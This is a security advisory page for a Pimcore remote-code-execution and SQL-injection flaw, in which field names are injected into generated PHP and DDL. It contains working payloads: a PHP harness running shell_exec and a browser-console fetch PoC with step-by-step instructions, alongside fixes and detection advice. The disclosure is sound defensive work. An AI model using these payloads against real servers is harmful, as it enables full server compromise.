GHSA-9x44-4gxf-8c25 CVE-2026-55634
Pimcore Vulnerable to Remote Code Execution via DataObject Class-Definition Field Name
- Severity
- 9.9 / 10
- Critical · CVSS 3.1
- Exploit chance (EPSS)
- 0.65%
- Chance of exploitation in the next 30 days. Higher than 51.15% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-89 Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
- CWE-94 Improper Control of Generation of Code ('Code Injection')
- Fix
12.3.10- Upgrade pimcore/pimcore to this version or later
Description
Overview
A DataObject class-definition field name is concatenated, without an identifier allowlist, into the PHP class source that Pimcore generates for every DataObject class (protected $<fieldName>;). A user holding only the ordinary objects (DataObjects) permission can import a class definition whose field name closes the property and injects arbitrary PHP into the generated class file, achieving remote code execution on the server. The same unvalidated field name is also concatenated into ALTER TABLE DDL (ADD COLUMN/ADD INDEX), giving a parallel SQL-injection primitive. This is a sibling of CVE-2026-5394 (composite-index column SQL injection); that fix hardened only the compositeIndices sink and left the field-name path untouched.
Impact
Any authenticated user with the objects permission — the standard permission for content editors who work with DataObjects, not an administrator or a dedicated "classes" permission — can:
- Execute arbitrary PHP on the server (RCE). The injected code runs in the web application's PHP process when an object of the affected class is loaded (and is re-executed on every load), with full access to the application, its database credentials, secrets, and the host filesystem/OS — i.e. full server compromise.
- Execute arbitrary ALTER TABLE DDL (SQL injection) against the DataObject store/query tables (drop columns, add indexes, corrupt schema).
Confidence (read with the Reproduction section). The RCE sink — the real builder emitting attacker PHP into the generated class body, that class loading, and its
__construct()executing a shell command — is runtime-confirmed in an isolated harness (see Reproduction → "Lab confirmation"). The remaining links of the end-to-end chain are reasoned from source but not yet run end-to-end on a live Pimcore: (a) the Studio import path (generateLayoutTreeFromArray→save) preserving the field name without transform/reject; (b) the persistent-field DDL step not aborting the save (addressed by the ≤64-byte gadget); and (c) Pimcore instantiating the object (new, e.g. viaDataObject::getById()) so__construct()fires — autoloading alone executes only top-level class-body code, not the constructor. Treat the RCE as sink-confirmed + chain-reasoned, not as a fully-executed live exploit.
Because the injected PHP executes with the privileges of the PHP runtime (typically the web-server user) and reaches the operating system — beyond the authority of the Pimcore application account the attacker started from — the scope is assessed Changed (S:C), consistent with Pimcore's own scoring of the analogous Custom-Reports SQL injection (GHSA-3234-gxc3-pq6f, AV:N/AC:L/PR:L/UI:R/S:C, 8.7); the result here is RCE rather than read-only SQLi, yielding 9.9 Critical. S:C is the one debatable metric: a reviewer who scores the impact within the single PHP/OS authority as S:U lands at AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H = 8.8 High. The severity floor is therefore High regardless of the scope interpretation.
Technical Details
Source → sink (RCE)
Pimcore generates a PHP class file for every DataObject class. The property block is built in lib/DataObject/ClassBuilder/FieldDefinitionPropertiesBuilder.php:
php // lib/DataObject/ClassBuilder/FieldDefinitionPropertiesBuilder.php:27-32 foreach ($classDefinition->getFieldDefinitions() as $key => $def) { if (!$def instanceof ClassDefinition\Data\ReverseObjectRelation && !$def instanceof ClassDefinition\Data\CalculatedValue) { $cd .= 'protected $'.$key.";\n"; // $key = field NAME, concatenated raw into PHP source } }
$key is the field name. The string is assembled into a class body in lib/DataObject/ClassBuilder/ClassBuilder.php:104-112 (class <Name> extends <...> {\n + properties), written to var/classes/DataObject/<Class>.php, and autoloaded/included. A field name such as:
poc; public function __construct(){ /* attacker PHP */ } private $z
produces a valid class body containing an attacker-defined __construct() that executes when an object of the class is loaded.
That the maintainers know name→PHP-generation requires an identifier allowlist is shown by the sibling enum-option generator, which does enforce one:
php // lib/DataObject/ClassBuilder/SelectOptionsEnumBuilder.php:188 if (!preg_match('/^[A-Z-a-z_][A-Za-z0-9_]*$/', $selectOptionName)) { /* reject */ }
The field-name path has no equivalent.
Parallel SQL-injection sink
The same field name is concatenated, with backtick string quoting (not quoteIdentifier), into DDL:
php // models/DataObject/ClassDefinition/Helper/Dao.php:102 (addModifyColumn — ADD COLUMN) $this->db->executeQuery('ALTER TABLE ' . $table . ' ADD COLUMN ' . $colName . ' ' . $type . ...); // :52/:67 (addIndexToField — ADD INDEX <prefix><name> (<name>)) $this->db->executeQuery('ALTER TABLE ' . $table . ' ADD ' . $uniqueStr . 'INDEX ' . $prefix . $indexName . ' (' . $columnName . ');');
Source: models/DataObject/ClassDefinition/Dao.php:228 → $this->addModifyColumn($objectDatastoreTable, $key, $value->getColumnType(), '', 'NULL'), $key = field name. A backtick in the field name breaks out of the quoted identifier.
Contrast the patched composite-index sink, now guarded by an allowlist and quoteIdentifier (models/DataObject/Traits/CompositeIndexTrait.php).
Why validation does not stop it
The complete field-name validation across the import → save path:
models/DataObject/ClassDefinition/Service.php:296(generateLayoutTreeFromArray):preg_match('/<.+?>/', $name)— rejects only angle-bracket names. Backtick,;,{},(), quotes, spaces all pass.-
models/DataObject/ClassDefinition/Data.php:1292(isForbiddenName()) — a reserved-word denylist (in_array(strtolower($name), FORBIDDEN_NAMES)), no character filtering.
-
models/DataObject/ClassDefinition.php:1149— validates the class name/id only. No allowlist is applied to field names. The Studio UI enforces an identifier pattern client-side; the API does not.
Reachability / privilege
The HTTP entry point (pimcore/studio-backend-bundle):
#[Route(self::ROUTE, name: 'pimcore_studio_api_class_definition_import', methods: ['POST'])] #[IsGranted(UserPermissions::DATA_OBJECTS->value)] // UserPermissions::DATA_OBJECTS = 'objects' public function importClassDefinition(string $id, #[MapUploadedFile] UploadedFile $file): JsonResponse { return $this->jsonResponse( $this->classDefinitionService->importClassDefinitionFromJson($id, $file->getContent()) ); } ```
`importClassDefinitionFromJson` → `ClassDefinitionRepository::importFromJson` → model `save()` → `saveClassInternal()`, which runs the DDL (`getDao()->save()`) and then the PHP class generation (`generateClassFilesInternal()`). The endpoint requires only the `objects` permission (`PR:L`) and performs no field-name validation of its own. The single authorization gate is the route-level `#[IsGranted('objects')]`; a DataObject **class definition** is global schema (not a workspace-scoped element), so no element-/workspace-level secondary authorization applies to the import — `objects` alone reaches the sink, which is what anchors `PR:L`. This is the same import endpoint used in the CVE-2026-5394 PoC.
### Execution order
In `saveClassInternal()`: field denylist check → class-name regex → `getDao()->save()` (DDL sink fires) → `generateClassFilesInternal()` (PHP-gen sink fires). The SQLi triggers first; the RCE payload either uses a non-persistent field type (no `ADD COLUMN`) or a ≤64-byte DDL-valid name so the DDL step does not abort before PHP generation.
## Reproduction
### Lab confirmation of the RCE sink (runtime, verified)
Using the **unmodified** `FieldDefinitionPropertiesBuilder` source driven by a minimal `ClassDefinition` whose single field name is a PHP payload (full harness in the attached `rce_harness.php`):
```php $maliciousName = 'pwn; public function __construct(){ echo "INJECTED-RCE-RAN: ".trim(shell_exec("id")); } private $z'; $cd = new ClassDefinition([$maliciousName => new \stdClass()], 'PwnDemo', '99'); $props = (new FieldDefinitionPropertiesBuilder())->buildProperties($cd); file_put_contents('/tmp/PwnDemo.php', "<?php\nclass PwnDemo {\n".$props."}\n"); require '/tmp/PwnDemo.php'; new \PwnDemo(); ```
Observed (`php:8.3-cli`):
```text === generated properties block (real builder output) === protected $classId = "99"; protected $className = "PwnDemo"; protected $pwn; public function __construct(){ echo "INJECTED-RCE-RAN: ".trim(shell_exec("id")); } private $z; INJECTED-RCE-RAN: uid=0(root) gid=0(root) groups=0(root) ```
The real builder emitted a class body containing the attacker's `__construct()`, and loading the class executed the injected command.
### End-to-end PoC (browser console, against the Studio API)
```js // Run in the browser DevTools console of an authenticated Pimcore Studio session // held by a user with the ordinary "objects" (DataObjects) permission. // NON-DESTRUCTIVE marker payload: writes a sentinel file.
const CLASS_ID = "REPLACE_WITH_A_THROWAWAY_TEST_CLASS_ID";
const fieldName = 'x;function __construct(){touch("/tmp/pimcore_rce_poc");}//';
const def = { layoutDefinitions: { name: "pimcore_root", fieldtype: "panel", datatype: "layout", children: [ { name: fieldName, fieldtype: "input", datatype: "data", title: "poc" } ] } };
const fd = new FormData(); fd.append("file", new Blob([JSON.stringify(def)], { type: "application/json" }), "import.json");
fetch(`/pimcore-studio/api/class/definition/configuration-view/detail/${CLASS_ID}/import`, { method: "POST", credentials: "include", body: fd, }).then(r => r.json()).then(console.log); ```
Steps:
1. As a user with only the `objects` permission, create/own a throwaway DataObject class and note its id (`CLASS_ID`).
2. 2. Open DevTools → Console and run the snippet above. Expected: a success JSON for the import (the class is regenerated).
3. 3. Load any object of that class (open it in Studio, or request it) to autoload the regenerated `var/classes/DataObject/<Class>.php`.
4. 4. Confirm `/tmp/pimcore_rce_poc` was created on the server — proving the field name executed as PHP.
## Q0a / Q0b
- **Q0a** (vendor accepted-risk): not by-design. The sibling enum-option generator enforces an identifier allowlist (`SelectOptionsEnumBuilder.php:188` `/^[A-Z-a-z_][A-Za-z0-9_]*$/`) and the composite-index fix added one — the field-name path simply lacks the equivalent. Source-verified: the only import-path field-name check is `Service.php:297` `preg_match('/<.+?>/', $name)` (angle-brackets only; `;{}()`, spaces, backtick all pass), and `FieldDefinitionPropertiesBuilder.php:30` concatenates the raw `$key` into `protected $<name>;`. No upstream allowlist gate exists. PASS.
- **Q0b** (venue-routed dedup; venue = github-security-advisory): sibling/incomplete-coverage of CVE-2026-5394 / GHSA-r2f4-ff2p-xc64 (DataObject **composite-index** SQL injection), whose fix hardened only `CompositeIndexTrait`. The **field-name** → PHP-codegen RCE (`FieldDefinitionPropertiesBuilder`) and the field-name → ALTER TABLE DDL (`Helper/Dao.php`) are distinct, unfixed sinks. Not covered by GHSA-3234 (Custom Reports SQLi, different feature). Not a duplicate. CLEAR.
- **Secondary sink noted:** `Service.php:517` also concatenates the raw field name into a generated PHP string literal (`public const FIELD_... = '<name>';`) — a second codegen-injection point (string-literal breakout via `'`), same root cause; the allowlist fix closes both.
## Suggested Fix
Apply an identifier allowlist to field names at the model boundary, identical in spirit to the enum-option guard and the composite-index fix. In `models/DataObject/ClassDefinition/Data.php` (e.g. in `setName()` or a central validity check invoked from `saveClassInternal()`), reject any name not matching `/^[a-zA-Z][a-zA-Z0-9_]{0,62}$/`:
```php // 63-char cap keeps the name within MySQL's 64-byte identifier limit (1 leading letter + ≤62). if (!preg_match('/^[a-zA-Z][a-zA-Z0-9_]{0,62}$/', $name)) { throw new \InvalidArgumentException(sprintf('Invalid field name: %s', $name)); } ```
Additionally, defense-in-depth: use `quoteIdentifier()` for `$colName`/`$indexName` in `models/DataObject/ClassDefinition/Helper/Dao.php`, and never interpolate identifiers into generated PHP without allowlisting. Enforce the same check in the Studio import controller/service so client-side-only validation cannot be bypassed via the API.
**Privilege-model fix (root cause, separate from the input filter).** A class-definition import changes the database schema and generates server-side PHP, yet it is gated only by the content-editor `objects` permission. Gate class-definition import/save behind a dedicated administrative permission (or `admin`), distinct from `objects`.
**Operator-side detection / mitigation (deployable today, before a patch):**
- **Detection:** File Integrity Monitoring on `var/classes/DataObject/*.php` — alert on unexpected changes, and specifically on the appearance of `function`/`__construct(` tokens in a generated class body. Raise the class-definition-import audit event to a high-priority alert. Flag any non-admin POST to `.../class/definition/configuration-view/detail/*/import`.
- - **Interim mitigation:** restrict the import endpoint to administrators via a custom security voter; or disable class-definition import in production; or add a WAF rule limiting POST `.../class/definition/configuration-view/detail/*/import` to trusted operators.
### Additional codegen-injection sinks sharing this root cause
The same "unvalidated identifier → generated PHP" pattern exists at **other identifier boundaries**:
- **Class NAME → `ClassBuilder.php:104`**: `'class '.ucfirst($classDefinition->getName()).' extends '...`. The only gate is `ClassDefinition.php:1149` `preg_match('/^[a-zA-Z]\w+/', getName())` — **missing the `$` end-anchor**, so `Foo){};<php>` passes the prefix match.
- - **FieldCollection / ObjectBrick KEY → `FieldCollectionClassBuilder.php:58`** (`'class '.ucfirst($definition->getKey()).' extends '`) and the objectbrick equivalent — reached via their own import endpoints.
**Exploitability caveat:** unlike the runtime-confirmed field-name vector, the class-name vector is **NOT independently confirmed as RCE** and has a structural blocker. The class name determines the generated file's path, and PHPClassDumper writes the file but does not include it — the generated class is executed only when the autoloader maps a clean class reference. The field-name vector is reliable precisely because it keeps the filename clean. The class-name/key sinks are therefore reported here as **fix-completeness / defense-in-depth** (anchor the regex), not as a second confirmed RCE.
## Disclosure Timeline
- 2026-05-29: Discovered (sibling sweep of CVE-2026-5394); RCE sink runtime-confirmed in a lab harness using the unmodified builder source.
- - (Reported to vendor: to be filled on submission via GitHub Security Advisory.)
Affected versions
Packagist
| Package | Vulnerable | Fixed in |
|---|---|---|
| pimcore/pimcore | < 12.3.10 |
12.3.10 |
| pimcore/pimcore | >= 2026.1.0, < 2026.1.6 |
2026.1.6 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
pimcore/pimcore Packagist → 12.3.10
- composer
composer require pimcore/pimcore:^12.3.10
Severity breakdown
CVSS 3.1 9.9
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- Low
- User interaction
- None
- Scope
- Changed
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Weakness
CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.
How to prevent it
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. For example, consider using persistence layers such as Hibernate or Enterprise Java Beans, which can provide significant protection against SQL injection if used properly.
- Architecture and Design: If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated. Process SQL queries using prepared statements, parameterized queries, or stored procedures. These features should accept parameters or variables and support strong typing. Do not dynamically construct and execute query strings within these features using "exec" or similar functionality, since this may re-introduce the possibility of SQL injection. [REF-867]
- Architecture and Design, Operation: Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations. Specifically, follow the principle of least privilege when creating user accounts to a SQL database. The database users should only have the minimum privileges necessary to use their account. If the requirements of the system indicate that a user can read and modify their own data, then limit their privileges so they cannot read/write others' data. Use the strictest permissions possible on all database objects, such as execute-only for stored procedures.
- Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
- Implementation: While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88). Instead of building a new implementation, such features may be available in the database or programming language. For example, the Oracle DBMS_ASSERT package can check or enforce that parameters have certain properties that make them less vulnerable to SQL injection. For MySQL, the mysql_real_escape_string() API function is available in both C and PHP.
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When constructing SQL query strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping. Note that proper output encoding, escaping, and quoting is the most effective solution for preventing SQL injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent SQL injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, the name "O'Reilly" would likely pass the validation step, since it is a common last name in the English language. However, it cannot be directly inserted into the data
- Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- Implementation: Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success. If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not. In the context of SQL Injection, error messages revealing the structure of a SQL query can help attackers tailor successful attack strings.
- Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481.
- Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CWE-94: Improper Control of Generation of Code ('Code Injection')
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
How to prevent it
- Architecture and Design: Refactor your program so that you do not have to dynamically generate code.
- Architecture and Design: Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product. Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
- Testing: Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
- Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
- Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
- Implementation: For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].
References
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-23rh-xw42-fq82 Pimcore: SQL Injection in Custom Reports via Malicious Report Configuration | High | Also affects pimcore/pimcore |
| GHSA-w23p-wrp7-ch38 Pimcore Hotspotimage getDataFromResource() unrestricted Serialize::unserialize over object-store column (PHP Object Injection, CWE-502) | Critical | Also affects pimcore/pimcore |
| GHSA-2mhj-fhvg-v428 Pimcore: ClassDefinition UID regex missing end anchor allows SQL injection via Block.php unquoted table name | High | Also affects pimcore/pimcore |
| GHSA-7p36-fq2r-4h7r Pimcore CMS Twig Sandbox Bypass via SecurityPolicy checkMethodAllowed | High | Also affects pimcore/pimcore |
| GHSA-jwcc-gv4m-93x6 Pimcore has a CustomReports Share Bypass | High | Also affects pimcore/pimcore |
| GHSA-332x-r494-54fq Pimcore has a WordExport Authorization Bypass for Unauthorized Document Export | Medium | Also affects pimcore/pimcore |
| GHSA-wc7j-g8wx-m2qx Pimcore: Missing Authorization in WebDAV MOVE via unchecked asset move handling | High | Also affects pimcore/pimcore |
| GHSA-36fc-7wjg-mfvj Pimcore has Unsafe PHP Deserialization in Multiple Locations Without allowed_classes Restriction | High | Also affects pimcore/pimcore |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor